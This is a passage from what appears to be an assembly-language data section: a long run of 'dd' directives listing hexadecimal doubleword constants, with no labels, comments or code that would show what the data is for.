0F8DCE90Dh, 0F87CFDBAh, 38DE48D8h, 4DFBDB0h dd 0B983F110h, 1290C628h, 380FE1BCh, 0B210562Ch, 78856CF1h dd 0AAC805B7h, 227C2864h, 9324F671h, 0E38224B5h, 14FCC9B0h dd 8C2ED074h, 4C8A88A7h, 170CFCCEh, 503C90EAh, 509CEC31h dd 27DD874h, 9D11E45Ch, 88C70C15h, 5449082Dh, 0A4C4EC0Bh dd 0F0D1332Ch, 7C207128h, 8635CC7h, 1876EA18h, 0EB01819Ch dd 0A8EC515Ch, 1089B4D7h, 4424F43Ch, 8568B007h, 763AA49Ah dd 333C3CF5h, 12461027h, 6C2BC18h, 894FC04h, 402C9C24h dd 0B8064C93h, 0F81072BCh, 905D4C1Eh, 9CE326h, 0EA2B107Ch dd 8A3CBBDCh, 6EC71DE8h, 281FFC06h, 5EF426F0h, 89BF0C04h dd 545CE508h, 0C0D9264Ch, 6FEC5C06h, 64482008h, 14B0F606h dd 2638F05Dh, 89D401FCh, 58033E95h, 781B3F6Fh, 9C106B9Bh dd 0FEAE3C02h, 94D710C1h, 1CB41819h, 48EEA85Ch, 83458D0Eh dd 0C1234A17h, 9C715F77h, 0E9B8CDE0h, 0C63DAFD8h, 30291338h dd 400D0533h, 77201996h, 28970807h, 262858D0h, 9F0C88CCh dd 7420502Dh, 0B6B7302Eh, 67969C20h, 83CD0982h, 12D61918h dd 0B702740h, 5402A23Ch, 0A88374FCh, 80C1CDCh, 0E050AC9Ch dd 185B628Ah, 1460466Eh, 0C0A132B4h, 30C8BC66h, 113C202Ch dd 54189867h, 50F7E0AAh, 984DE80Fh, 0BAC0EE30h, 6ECA31C0h dd 8C584130h, 706F3D08h, 0E29CA3D8h, 9D544162h, 6F9EEC22h dd 9C4C540Ah, 24042E0Ch, 65765800h, 0AFB5508h, 1F904CFh dd 9E38A2DEh, 9AAAC4C4h, 0A2CC9C91h, 3303144Bh, 0A6442AB7h dd 0FB6C7818h, 98C8BC28h, 0E2188EA8h, 24B6904Ah, 16F4B655h dd 7C1806FAh, 0E8EBB019h, 6890F413h, 47C828A9h, 8DBCE98h dd 1120EBE3h, 609C18BFh, 0C35A1880h, 57BCFD14h, 301778A4h dd 0E00BDDEAh, 0C8E40135h, 485CCA8Dh, 0C6491E19h, 2CC0F192h dd 226871E6h, 22B4C024h, 40B6012Bh, 4B06C6B9h, 47F6DCDBh dd 0B88D6008h, 0EA287CFCh, 0A02790h, 41ED2CD7h, 21E132FCh dd 34E1C298h, 802C327Dh, 3C5AF788h, 0E9B7409Fh, 1CF41B05h dd 0E4040CCFh, 4483C754h, 26F87CC0h, 920F764h, 0EC051076h dd 9C4883F2h, 34640C48h, 9C8BF081h, 163C5603h, 0C812EAF2h dd 64C3050Ch, 99A926EDh, 3BBC0688h, 58260881h, 0A517305Eh dd 0F428A452h, 0AF3B0948h, 0C48FB751h, 808222C9h, 0D0A6EAF7h dd 0A88550E8h, 65BE84B9h, 309270A9h, 17CC9F4h, 6E239700h dd 0E20A38C9h, 78DC14F0h, 0FC2B22B9h, 10A66C7Fh, 2C22FA7Fh dd 0BC8C1851h, 481F606Fh, 60964274h, 88A0BCE0h, 2CC9C27Bh dd 0FC068731h, 0D8175230h, 27852C8Fh, 4C409092h, 60C48025h dd 811E5Dh, 7C4A5BF9h, 50226B06h, 0EC209968h, 79B712EBh dd 2164050Fh, 0C098A253h, 470A257Ah, 1FCE40A6h, 0D0F0C96h dd 0E02D5641h, 0A2E8A4F5h, 0FDF183ADh, 0D59070C7h, 80857098h dd 55BBA381h, 0CC00BEEFh, 0B081565Dh, 48DFBC74h, 990B6818h dd 8C16E952h, 0EEDBD32Eh, 2CC8C215h, 0DC0958A0h, 3C88804Eh dd 0B9DBDEF9h, 0EF416E14h, 207D88E6h, 39298C04h, 3BC0805Dh dd 404E9A61h, 95152C9Fh, 0C014FB3Ch, 922AB076h, 594C8038h dd 8C2C534Eh, 383B1593h, 0EC3A90CBh, 0F17C2864h, 6D7FD0C4h dd 6028A54Ah, 1A9B0AA3h, 8CC4F539h, 0ADB0657Eh, 6E908CE9h dd 7451F82Fh, 0C0AC9926h, 3120C0EEh, 7B1B33Fh, 1CEBF893h dd 909A08E9h, 0E24F6D58h, 0BC9C0027h, 0D5D7CCB1h, 0F1337A5h dd 0F88BE95Eh, 71AB047Eh dd 8BB1B884h, 0D1BE038Ch, 14DAE536h, 0EC498C20h, 0CA9712h dd 0AC81724h, 60FFD7A5h, 0AD333CD0h, 388C20F0h, 94D18809h dd 0FDFF7F4h, 0DEC71DBCh, 0D0C93B00h, 1F262FFCh, 52583CF4h dd 0B48418E1h, 752C7885h, 39606C60h, 32F7A5D1h, 0C780B3Ah dd 2CC1F842h, 0CFD4209Fh, 2E4BD78h, 0F733AB02h, 0C0C950D6h dd 9DBE010h, 0D0B9D7BCh, 0A714B416h, 86B46662h, 34C0F94Ch dd 3008D7F7h, 0CD5444ECh, 9633BC00h, 0C9CAA5A0h, 0EF120069h dd 8CC79166h, 470077CBh, 0ABF23814h, 41D0B6h, 765AA3DDh dd 354FCA17h, 0FC735501h, 43A80778h, 268C1448h, 0E1B53Ah dd 0BB564D09h, 2500D461h, 0C5C6BE2Ah, 4A1D02F1h, 0E85FC0Bh dd 418B06A3h, 4D087684h, 58E61CCh, 0F85825C6h, 7B14401Bh dd 38F5D8A1h, 164C1408h, 4850831h, 654403E0h, 366240E5h dd 0C6912D1Eh, 5C02473Eh, 2AAA4988h, 8F93D601h, 9B06504Ah dd 79C9D8A9h, 0A252F604h, 0D12865C6h, 7F72370Ch, 0A96C873h dd 45CDDFC2h, 209AC33Ch, 50E6C6DCh, 0E47AB60Ah, 41EE78CDh dd 4B10050Ah, 40565082h, 64B8D4C7h, 0D615BE31h, 0AA06163h dd 3CEA16ACh, 96981FE0h, 3DC628E4h, 3AC403A0h, 630965E6h dd 0D41185A1h, 4903C5E7h, 0F5258975h, 5945A069h, 78E65733h dd 14FFCF07h, 80B4AAEDh, 0E437A0CBh, 0E60C3FE9h, 486AFD25h dd 0EFB03C33h, 192B3D10h, 3470418Ch, 0E0E5C3EFh, 1F841D7Ah dd 0E89665Eh, 0A584800Ah, 0B49C7002h, 4FDD3097h, 0C37FD6E8h dd 0C7D8D452h, 0DFB60D64h, 0C7F61229h, 8A2838C2h, 15F4500Ah dd 961E88CCh, 2838B8D2h, 0D9F60C38h, 0B628C78Bh, 37EADE04h dd 5705204h, 772A9213h, 4C15D86Dh, 0C13CEA2Eh, 0E178E712h dd 76A19Ch, 0B7C437E8h, 6516EA27h, 6607F4D4h, 485A2422h dd 0DA41C7E7h, 40856E6Bh, 19A6516h, 0D22BCF9Ch, 0ED1C0A6Dh dd 36C4BE76h, 20B95C01h, 0E5147FA4h, 9EF305Ch, 0A4B3EB88h dd 1FD6E003h, 3783047h, 0AB4D9231h, 0F6280C9Dh, 45C8E1B4h dd 54E6F424h, 3447C658h, 0A031AEC2h, 6456375Fh, 41350240h dd 29E6DC5h, 0F161E8B6h, 1A44A24h, 0F5EC7CFCh, 0B840077Fh dd 5620B7E1h, 57043C44h, 90BFF43Ch, 0F77A76B8h, 0A01CA8D4h dd 1483AE92h, 0AC0A82FCh, 20C31571h, 0D68028E4h, 899FBF6Ah dd 393678C4h, 0D5459881h, 1225A820h, 2CE5268Ah, 4118EFC0h dd 0D689F21Ch, 3ADC00DDh, 0F4AA34C4h, 0F62BE945h, 0EA817413h dd 7E52C52Ah, 635F600h, 0C705E73Ch, 0CE1212Ch, 96602CBAh dd 0E9273A02h, 435E7825h, 1DFA12B8h, 6D1028A4h, 0DC303EFAh dd 4FB66081h, 7FC8C45Fh, 74288E3Bh, 89A8C14h, 3CC3D08h dd 822705E6h, 0C016A089h, 4604423Ah, 18348304h, 5F7E071Eh dd 81E723EDh, 80EAE66Bh, 1A6AA921h, 749B724h, 0D9B5B39Eh dd 6484EA1h, 5D5A7B07h, 0FD69F050h, 689B0047h, 6110BE8h dd 0A5616C4Eh, 96014634h, 0F2925B60h, 3FF90382h, 212B8D91h dd 833CC9F0h, 68725A01h, 4B1A4892h, 0B62C180h, 31E6D9B9h dd 0C92B5107h, 15429228h, 2209008Fh, 2BB82A0Dh, 0B7039701h dd 4F346318h, 7F35FCh, 6532E645h, 0E7F91924h, 0E39AA81Dh dd 0DED09747h, 0F6CED7E0h, 0C63CA573h, 3C8020AEh, 0E9726061h dd 168EEB00h, 4B3B4993h, 70C602ECh, 5C4E15BFh, 43AF807Dh dd 30238563h, 0F70E36Dh, 0B628CA2Eh, 0CC01F49Fh, 0DF673CE8h dd 0C9E8891Ah, 0A863F2B3h, 2C8ED4h, 7FE717F3h, 12739EC0h dd 78FCB275h, 0E53C20h, 0B70CF166h, 0C69D1D25h, 4487E101h dd 2B7B60F9h, 30F376EDh, 88ECB1B8h, 2EFABF75h, 0F9D11200h dd 60A03D9Ah, 745EE85h, 0E154277Ch, 0E4DF0067h, 6A028896h dd 73729392h, 0B85CA031h, 106371E9h, 80E8DE7Fh, 0E643E070h dd 5B4900CAh, 272A8A33h, 4F636771h, 0D8920538h, 0A97B98h dd 56A189F2h, 0F0887A72h, 2D249318h, 6505F9h, 0CECDAE31h dd 0E4C513DDh, 18C8A002h, 44E7FD70h, 1A690250h, 9F319D87h dd 1F8C18h, 18CA8239h, 92575BD7h, 0F99D0500h, 19B48547h dd 948E00BDh, 78D4A7EFh, 64637E9Ch, 99AD5278h, 898006F8h dd 0CA8E1ABCh, 2429F121h, 395940E7h, 44020A0h, 3AA90181h dd 7F20905Bh, 0FF00E157h, 47A0E6A2h, 24CDC58Eh, 0DC806AB9h dd 0A44C8D00h, 97D5FA10h, 2B4600EBh, 9D9F7D51h, 1502A7E8h dd 0C5C90944h, 0E204487Ah, 2208C013h, 877B017Ch, 84392500h dd 0C84895A2h, 505A0040h, 28DB0946h, 309A2F34h, 6791D600h dd 55F37EB8h, 12260085h, 0DA13BDE1h, 3500B728h, 0CEA2F824h dd 2EE6A0h, 7DA3B5C2h, 8E18CCDCh, 0E0CF9F06h, 70509E4Fh dd 0B1540CC7h, 0AC404C5Fh, 0A4083564h, 0AFAE1493h, 8D534AE0h dd 0AC9C1CEAh, 32BD0040h, 31A78990h, 2C139E0Ah, 2403284Bh dd 0D25F0211h, 0A0861883h, 566CB083h, 9EA93EADh, 6BF7AB80h dd 616E4C34h, 0B536FA1Dh, 595B4001h, 39D4F12Dh, 7C8281Dh dd 345652D2h, 0A115DB01h, 0BDA1427h, 53446700h, 32ABD8F0h dd 0FED17900h, 0FBAE910Dh, 0EBE50084h, 8BB13AEEh, 10086B4h dd 50D9FE36h, 0F1F03C6Ah, 12C398F0h, 30FB8918h, 9A293434h dd 4830BC48h, 0F6C9B0C4h, 0A658000Ah, 659C18C1h, 0C624036Eh dd 0BC3FDC30h, 403DA66Fh, 0C930E01Dh, 0FEF5FE9Fh, 1AFF001Dh dd 0B7EEED1Fh, 4F003E44h, 6E42C5E3h, 15F9EBh, 0C1F6A037h dd 84A12A94h, 67CD0E00h, 1E175627h, 0F254A4BAh, 0B96139D7h dd 12C2C738h, 0C8001952h, 0C25DAF74h, 99053C9Ch, 0A87E5B80h dd 0B628DFFFh, 1CB93538h, 0A7814DCCh, 2E4FCE56h, 2FC81896h dd 9069694Ch, 2E1A4Ch, 22062F02h, 5391D787h, 1500B490h dd 0E1C86A35h, 0A810D189h, 1F4A3688h, 0C0B58733h, 7A6DB75Bh dd 104CA7BEh, 3918096Ch, 0D03774h, 4B4C95B0h, 0E41FA290h dd 7DC5048Eh, 508081EDh, 725D6A69h, 5E850B54h, 2280F5C4h dd 167DBDE4h, 0A804300Ch, 60BE71B3h, 20120855h, 9924DD45h dd 0A8003128h, 809C48E8h, 9F760F82h, 15AE9251h, 42AF03FCh dd 9DB8CC18h, 6771BD94h, 0B04130C0h, 3AC5D6Dh, 3AA223CAh dd 0AEF8D0EDh, 749826D1h, 304019EDh, 53E9983Ch, 0CD30B8A8h dd 1093FF21h, 0E6C94200h, 951D902Ch, 805A582Fh, 3D603382h dd 871CD00h, 7DC4A0B0h, 2C2B0119h, 132EA5E6h, 5CDC00A1h dd 0C557008Ah, 0A32B9EEBh, 7F0007C2h, 0E6B49868h, 38A51918h dd 90812761h, 9267EF38h, 6ECC585Bh, 0CFB2B902h, 1338F018h dd 2C276103h, 98347319h, 3A1F7C61h, 40D0A820h, 94EA3027h dd 0C90FDFD9h, 8A26D201h, 0A3CDBC78h, 17256AD4h, 4181AB51h dd 323F61A4h, 52102029h, 0B53A22h, 5E88B1B3h, 855ABF6Fh dd 61B2F926h, 0A437BA09h, 88D8D060h, 5712070Dh, 28382468h dd 0A140DB44h, 15100DF1h, 4787931Ch, 0C48CF5CEh, 0C1EED02Dh dd 60B98212h, 0EE3B1CAEh, 0FE948F1Dh, 7D4E19Bh, 39D45AC2h dd 3ADF3C08h, 0C4919E00h, 0FE47E181h, 0B91CF200h, 0E6E86ACEh dd 9C5A1E9Ah, 72CCC0F9h, 0E2C33A62h, 50E4471Eh, 0AD25D440h dd 3AFC5E7h, 2E6C4CC9h, 1E87CF5h, 0A2001335h, 0B1262AF0h dd 1B62FACh, 3398ED46h, 0EC721DA0h, 8307DEABh, 75A1CB51h dd 7DA980A0h, 0D6890387h, 0B4C86FDFh, 3A1801C0h, 20008CFCh dd 4A5BACF9h, 9097A1h, 0FA7DE448h, 792D6142h, 0B2D7D60Eh dd 8034A756h, 5E0F85A0h, 0B113319Bh, 0CE10459h, 475D0222h dd 9050BD3Ah, 2C80014h dd 0F0A8A5B9h, 0A7EE934Eh, 4E89A0Fh, 21CF3C2Dh, 68F3E1B1h dd 8BF4EDD2h, 0E168C115h, 407E06EEh, 6360E4A8h, 0C070C26Eh dd 552AD2BFh, 1AB90F22h, 0A180FC11h, 0DDE2C087h, 5CF6C105h dd 8D01527Dh, 8AA64E96h, 30C4CC50h, 3820007Ah, 0B77AFB4h dd 0E0F287DDh, 2D4770C3h, 1EF7B89Bh, 422500B4h, 96B3F621h dd 0F10040F4h, 0C43B4FBEh, 0DD3672h, 0D21DA6A0h, 83B569EAh dd 67F4350Ch, 934880h, 0DF42579Eh, 0BF48874Eh, 5E468301h dd 7266239Ch, 74968C40h, 87530004h, 25990754h, 4600F0E7h dd 83B38FFAh, 0C0B7B63Dh, 0C748E4B9h, 0F2009B0Eh, 0F7B4CD33h dd 602CD8D4h, 0C99D21EEh, 0FE013290h, 0B375ADD7h, 0CCD0AB70h dd 384A80E3h, 15E7939h, 69128E88h, 0D6702228h, 0FC7C8Dh dd 0B7CE8919h, 0E27E3297h, 0F0E553h, 842162C4h, 84978740h dd 0E20B5F00h, 0BA80BE7Dh, 915A00EFh, 7333A87Fh, 6000C339h dd 0EE0CF6C6h, 1CDDD031h, 2E5EA4h, 0F91B1936h, 2D5492D4h dd 0A838B760h, 8C2710D0h, 4E04FC4h, 2C003DDCh, 0D86A3BF8h dd 35801900h, 56C3B55Dh, 46F8A4E3h, 7BCC014Ah, 35144464h dd 9741570Ch, 3B5D3C8h, 8DF6EBD7h, 0B2F842A3h, 970E95D0h dd 8073413Bh, 9CF55515h, 12A971E1h, 1EA7197Eh, 2E6700B0h dd 0FA5B1618h, 0F8049E07h, 0B046A0F4h, 0A6260021h, 0F2F168CAh dd 8A09CFE8h, 217675BFh, 0B3526C8Ch, 618028BFh, 126E9205h dd 933C33B4h, 566A803Bh, 1E6F766Ch, 94CB015Bh, 41F22E04h dd 31E0F713h, 0D1DA58Ah, 0F4C09545h, 0E0BC68ABh, 0E30008Fh dd 8B9BD7B1h, 0EE00E4FAh, 0F2B2F473h, 0C90DA3h, 22777534h dd 0E05D187Eh, 82D74914h, 0D83AE0h, 7769E772h, 0D02202h dd 0BDA1F84Bh, 8032D442h, 900C2F8h, 0B320EF2Ch, 0FB1E10h dd 0BEC49227h, 8076CD12h, 807CEB3Ah, 0B210E4Eh, 34E82Fh dd 7BF9D825h, 8009DCE5h, 9EA71700h, 4620AB99h, 9C363DDh dd 2000D850h, 4805D237h, 0F3B584h, 1C6BA0BDh, 0DF6CB171h dd 0CA002B7Ah, 6D207DD7h, 3CDD1268h, 5A003614h, 0B1E9AD1Ch dd 56000155h, 0EF5E7022h, 7CA50E0Ah, 5D83309Ah, 0E54B4208h dd 0B6549207h, 6F108738h, 0F61C831h, 5E723B8Dh, 0E119A87h dd 7CA54441h, 0BA74EC0Bh, 5DC7A00h, 59EEB275h, 69830046h dd 0C308B4C0h, 0B6004292h, 170C8F63h, 54ACAh, 34FBA082h dd 0A8EFEDAEh, 0D810FE06h, 1AE3D9h, 74C5B657h, 0EE4FDC8Ah dd 91B7E203h, 96D1809Dh, 0B64400A8h, 0BD5D730Bh, 7E70A465h dd 4CC15B00h, 9837270Eh, 0A573DB5h, 21DA9500h, 5DB73C2Fh dd 2E47C0DFh, 789742A5h, 0E4A046F7h, 7615D4h, 4D0C6E63h dd 5E36CB3Eh, 8B402000h, 0F3CD6158h, 1C10F0A9h, 4031C08Ah dd 0DBE76274h, 4C0077C9h, 0CC578011h, 91162Dh, 215F0FCh dd 5AB52EB4h, 40273A00h, 0B23721DBh, 0BE5807D5h, 8645FA29h dd 18C358F1h, 0D0D438CEh, 330B3A5Dh, 9131D7EAh, 0BDC1C7A0h dd 8BA7E500h, 546730B1h, 0A0E13A98h, 7D60D601h, 80436B13h dd 0D8BA6CE0h, 0EFE8DF3h, 2C6A4F1Ah, 56E5D460h, 3F0FA6C5h dd 0E68334D3h, 1C509F35h, 2362542h, 0BDC6D43Eh, 0C3030C44h dd 62333271h, 1DC0BCBEh, 0ADCF285h, 0A1142C38h, 0E09A18D4h dd 0C8C0E037h, 0A8D4E27Fh, 8D8600DCh, 0B9724596h, 54009FDDh dd 2CBF063h, 4C84BCC6h, 52059907h, 2082A9C7h, 0C2087C04h dd 0C961E2Bh, 300846DBh, 0F5E6F680h, 6D00CCDBh, 977F17EFh dd 0AA240FBh, 96D9E3EEh, 0FD53080Ch, 0C4719443h, 23FCFF44h dd 0A723BC6Ch, 831626CCh, 10D6BA0Ch, 5244E928h, 0DC3CA8CBh dd 0F769443Eh, 4110F942h, 905F8E1Fh, 6A655E82h, 54451B25h dd 300AE6F3h, 0B8904887h, 21F843C4h, 0C43595Dh, 9A49006Fh dd 83FBD980h, 331FCC52h, 88C53782h, 0A8228AE9h, 0F7837DF9h dd 6A8822A0h, 4E3047CAh, 68D207Ch, 4286006Eh, 5878A8CEh dd 39C0C9E0h, 0F2537E48h, 0AB630377h, 35591EF8h, 21FF69A0h dd 5592DE00h, 0D529513Ah, 0E948002Ah, 0E2356A41h, 9B61207Ch dd 0FA03A368h, 7186BD0h, 0CC7A9F9h, 0C0E0F059h, 920280CFh dd 0BE70F88Ah, 204C905Fh, 14C00E4h, 2F025284h, 0DA0446C3h dd 9C156876h, 75EF9FC0h, 737E0056h, 7D3E29AFh, 53F87106h dd 0EEC73500h, 0D2835134h, 1F6230BBh, 745DAC68h, 7AA1C10Eh dd 790E9E27h, 5423407Eh, 5A1AB3h, 65BC7C0Ah, 0B7374A3Eh dd 1C91C128h, 57C20700h, 0D30C6619h, 3DC900FFh, 77993545h dd 0E8F2F4CBh, 8F949D07h, 22104D9Bh, 9A2BE4h, 0DC0D061Ah dd 0F4AE092Dh, 8B0FAC00h, 11026378h, 528F18FDh, 40CA2830h dd 0E0AB4F00h, 46A6B4C4h, 58B60E7Bh, 5B2033F0h, 60942611h dd 5C440B29h, 806CD980h, 880641h, 9BC07F5Fh, 48DD740Ah dd 0EC0783F4h, 0ED0D7BC8h, 6BF087B7h, 0FA94DCh, 7E46C540h dd 0CD9A19D3h, 93002E7Ch, 0CCC7E8A8h, 0BE2250h, 3F75A3DEh dd 7D6C1DDh, 28D14030h, 0FAEC19DFh, 30E224h, 0B2A013BEh dd 0D0057BF7h, 0FE007EF8h, 0F883D628h, 9CC046h, 3DF55710h dd 0A3AEDC47h, 0CA092E00h, 0DDC36712h, 0E061052Dh, 8170298Ah dd 0D2FA9F7Dh, 0BC53589Ch, 0E579834Ch, 0E25E0082h, 1A7D1680h dd 0FB17117Eh, 0C9003436h, 0C1125051h, 0DB213C32h, 3AA5D10Eh dd 8D1740D8h, 1F63C07h, 318CFA16h, 247019h, 0FD3A07D0h dd 0A05A65F9h, 3F01A3Ch, 0BC4F1F64h, 0F38DF8AEh, 349E00D6h dd 0A85AAB95h, 0D500EF9Ch, 0FA45C747h, 15CE3B57h, 0B82A8D0Ch dd 372BD803h, 0B8F83309h, 7F03A146h, 725B6228h, 23B05876h dd 0F3024403h, 907F16A7h, 0B8E0DD30h, 64971E3h, 5AE642B9h dd 3000307Ch, 7AF9FC62h, 29F628E8h, 5EAC5D7Fh, 1AB298C5h dd 30F7DF00h, 74DE68A4h, 0D3C40059h, 0B66099ADh, 5A1EC72Ah dd 6A1D63F5h, 7E8C1900h, 2B487B75h, 0F0448E14h, 0D8008ED5h dd 5E265460h, 9D849Fh, 0D75ABD61h, 194B3B58h, 5174B100h dd 4F6BEEDDh, 977F8Bh, 21C1E5B9h, 5B033932h, 0FD7AED01h dd 2EF852DDh, 0FEA67EF4h, 0D1B000F9h, 238AB696h, 0A90056ABh dd 0B90E1CF5h, 33AE0BEh, 0BFB8F8D5h, 0B448C4h, 1741EC43h dd 0F0B007B4h, 0B0081B65h, 8FE6C253h, 1301B9F2h, 0B276690h dd 32F19D2Ch, 3B1C92D0h, 23805DC1h, 28D73989h, 0D0F33CFBh dd 3E3BA663h, 0FD6B804Dh, 4987C27Fh, 0B3090323h, 0C7892D03h dd 0EF842844h, 0CE58EC00h, 88E01143h, 9C2107B0h, 0C0965BBCh dd 53AEDA28h, 0D03A47Ch, 49BA9536h, 21BDF074h, 42F43CA5h dd 0A7ED00FAh, 8EBE3B1Ch, 1A007332h, 0B215D527h, 1D827Dh dd 4921297Eh, 0BAB4F839h, 3294F700h, 12082CAEh, 0C2F40058h dd 53297D88h, 2F0030ADh, 4D2B96DDh, 5833B69Ah, 3C00FFA9h dd 6F5A64D7h, 2478F908h, 0F1266E03h, 0A07F1185h, 74FC4D05h dd 4E551CEDh, 1E5CDE0Ah, 906AC098h, 0D3823835h, 3603584Eh dd 260953h, 43EB5480h, 56EF146Bh, 9F444Ch, 2EFFD5DEh, 1F49A3E0h dd 92A407CFh, 0D70300BEh, 0B357FD2Fh, 456FD300h, 0D02AA17Bh dd 0F90700B9h, 0FEA659DFh, 9600864Dh, 0AA360A57h, 0B0F1FDh dd 5411CDBDh, 3D5AF22Dh, 253DB674h, 37491C01h, 95ECDB00h dd 50BF4275h, 0A5948C4Ah, 0DA3D8E80h, 5E44258Ah, 2DE90D60h dd 2108D7Eh, 0B982EB1Bh, 86426A48h, 8165C422h, 0ACD69090h dd 3E98180Ch, 30838FFh, 2531D08Eh, 11045507h, 23E839Bh dd 853A8724h dd 0C31803FDh, 21EC9083h, 0B7E097EBh, 0E5778053h, 80E179C0h dd 0C039FFh, 48B69B0Fh, 0B8829FD8h, 0ADD66900h, 39459E2Ch dd 6797023Eh, 0D2BD1D54h, 6E2EA482h, 0D380AD40h, 84A81639h dd 44BA2C83h, 4FA51C80h, 4700F3E9h, 0B5180908h, 0EFA0139Eh dd 20B80093h, 11380A6Eh, 3001E8Ch, 0A66918DBh, 5C2F3C10h dd 8A0E36BAh, 0A6CA179h, 0BF0039C9h, 0BC93C583h, 5ED896h dd 0BD459F3Bh, 0E5CF1136h, 3CE40354h, 67ED3215h, 0B3120C88h dd 1FD0E8Fh, 4611F077h, 0E410CBFCh, 0B7307F94h, 52E8481Fh dd 247330C8h, 6BE9F239h, 0C003417Dh, 183CBE8Eh, 0A0A6A286h dd 479BFFDCh, 901A00AAh, 0A74978F8h, 8203C2CBh, 0F4A04C99h dd 8FB6F03Ch, 3BC502B0h, 1B02C312h, 85E80848h, 30A0D5Ch dd 587010FCh, 8F082A67h, 488D0094h, 7C8219FDh, 0E8ED0B36h dd 0D4902605h, 0CCF10426h, 0D1DAE501h, 6C2151C0h, 2DB66E0h dd 77B69336h, 0F8A082C8h, 5C9A9612h, 11096030h, 0E67EFD74h dd 879D033Bh, 9E9AD327h, 0C48E0A2h, 6500B8BAh, 0B78FB2DEh dd 0DFCB94Eh, 25FB7745h, 5A55C420h, 71725400h, 802EEBB8h dd 0A8F036Ch, 0F9C55CBCh, 2660A0CFh, 0E91245FDh, 845F216Dh dd 0FA3BCE02h, 5CB8A2CAh, 6EE51891h, 0E0210D7Dh, 43399285h dd 47C85300h, 36D2B403h, 0A7A3F964h, 43601C62h, 4A7800E3h dd 4D406519h, 1000C2C4h, 4547A05Eh, 0EA7C2681h, 2F5A0411h dd 0C0C59D0Ch, 0B5876A3Ah, 0A68D5E00h, 0DC167B3h, 2D191FF3h dd 0D2CE4h, 14053DCh, 27034183h, 0D96A972Fh, 0B28AA833h dd 371FE72h, 0AAF48D4Fh, 15D80540h, 0C60E76CAh, 80D29C24h dd 63C7E613h, 0D3DF5CD9h, 46683104h, 85E080EBh, 73010C22h dd 0B8BEF625h, 0E0CB088Ch, 386CAC1h, 23842C9h, 0A3E84788h dd 4A00F0D6h, 455E3BAAh, 9D867Dh, 24FF3AA0h, 4BE22BD7h dd 0C889B11Dh, 0E0E44A40h, 28CDA6h, 0AD5E0783h, 0E1A4D2D8h dd 0E791B800h, 0F5E2E4D0h, 98A63DCBh, 40AD06F3h, 0CC712F8h dd 0A2641F00h, 0AB35F769h, 8DE00031h, 9BCE9CA7h, 0D600A852h dd 1613F3C4h, 0AEEC05h, 240CCF20h, 1B3A6162h, 0F877B700h dd 0C8EEB21Eh, 5AB0014Dh, 80137BC1h, 703FF556h, 3B078993h dd 6066E8F4h, 4FD42240h, 0F9C800F2h, 2D8473Ch, 0EC7C6CE3h dd 553A391Dh, 0C2AEFDC0h, 0FE367Eh, 9FBEE268h, 3FEC0F14h dd 0AD867000h, 69BF85B1h, 2F480013h, 0C845C27Ch, 0CF00465Ah dd 0DB107E95h, 9DF5927h, 132C35EAh, 573A2700h, 0F40005CAh dd 2A758740h, 3102C15Dh, 0DB51BC59h, 6367023Fh, 223800FBh dd 0FEC37281h, 0E4375DB6h, 7D22289Ah, 94C40716h, 75A5044Dh dd 48E24F44h, 0C75841A3h, 80C90257h, 0F3765128h, 40697EBCh dd 52006C64h, 26E1EE9Ah, 2EC43412h, 53C56Ah, 0BB1053E3h dd 1A003AB9h, 5CD754DEh, 0D3B080h, 51F711EBh, 72C32CCEh dd 0E624B9B8h, 900F930h, 7C95B866h, 103F86Ah, 0BC92E967h dd 0EC29F484h, 7607E6D0h, 9DA12B9Fh, 86D3A200h, 0A5703Eh dd 2619C5D7h, 0BB4C251Eh, 0B770EA00h, 1779E10Ah, 9BE31752h dd 95A6A05Ah, 2FECD700h, 4D914E6Ch, 478C0077h, 0FAA36F02h dd 0C00F9EBh, 7A19352Bh, 0C349AE9h, 65C65D8Dh, 46000F30h dd 0CCBA1404h, 78DE381Fh, 2C90A8h, 0E35836B9h, 0C1C73083h dd 0AE4CB701h, 5DDC0AB5h, 996EBD8h, 0A7FFEF65h, 0CAA34E00h dd 0A91B769Dh, 0A910DCCCh, 28E43635h, 18DA03B1h, 0F80E7BD0h dd 0B709CCA0h, 0FF509B0Fh, 0CAAA2069h, 0E4854AEh, 8C7FEAA7h dd 0C82E5881h, 84D82059h, 0BF4A3300h, 3543EF61h, 50749Dh dd 0BA5E6B71h, 77A773EAh, 8B34C500h, 700A3DFCh, 207100B4h dd 857EFABFh, 393BCF1Ah, 3E9500E2h, 0C237B935h, 3BF20044h dd 99583368h, 0FBF50BEDh, 0DE1D06C0h, 0C3E70300h, 0C6A43ADBh dd 10521C22h, 4D4B80E6h, 9148D1A6h, 724ADE00h, 0F9E4C328h dd 83F00E7Ch, 2980ABC0h, 0EB93B0EEh, 2100D77Bh, 1B49164Bh dd 3C1EF323h, 66007A0Dh, 5C7C6EA6h, 470BC254h, 55E1579Ah dd 2AD22900h, 664CC426h, 58A50216h, 805B99F9h, 0E63B2F88h dd 1CEC30ACh, 1602360Eh, 0AEBB3C00h, 0E46AB41Bh, 404B00C6h dd 63DF76Eh, 0FA001535h, 0D525908Dh, 0B016CF0Bh, 58730016h dd 9C34F26Eh, 0F53D13AEh, 69CCCDh, 9AE8DF36h, 0E6E25044h dd 0BC350095h, 0E594CFA5h, 0C1363A7h, 38017DD8h, 0B1F772D7h dd 3ACD3EFCh, 6C8010F2h, 0D9F4DE32h, 0AC05FE61h, 0D8D154Dh dd 0BB28D080h, 82110014h, 91E462A1h, 1F03CE43h, 88354D44h dd 80F8AA18h, 0BF5B7CE6h, 4FC2006Bh, 0C7267E40h, 31181324h dd 0D21038B4h, 0D83A50ABh, 0EF5B0045h, 11D87748h, 0C40042E7h dd 3CDBB5B6h, 39B3420h, 6F480892h, 66C8E240h, 0A35C16A2h dd 7DD60096h, 396BA815h, 8B183DC2h, 0D0845C00h, 8651B598h dd 14DC8C00h, 0CBCF34A0h, 0C82F00FCh, 5EB2E48Eh, 85009DA5h dd 21C290D9h, 1FBFDBEh, 0DE40B597h, 0ECA7107Ch, 0F40072BDh dd 6285F1ADh, 4A543h, 2FEF3B06h, 8E7A86DAh, 0FC7B750Eh dd 3EBD00A4h, 3E4B1B55h, 17F5601h, 57604C8Fh, 0FC46DA3Dh dd 370051FFh, 0C641DB80h, 3949906Eh, 9A807F76h, 0E2F9E57Bh dd 0ED00F211h, 0E0CF98D3h, 2066ACh, 8242D412h, 0C9C4435Bh dd 3B7BAF3Ah, 219B80E7h, 72607C75h, 85D50064h, 0E9FF3D59h dd 0D700B8ABh, 81764A50h, 1C15BC58h, 597B546h, 802BE114h dd 8D1CC1A8h, 314BB800h, 7851D5C6h, 995700C0h, 9CD82A85h 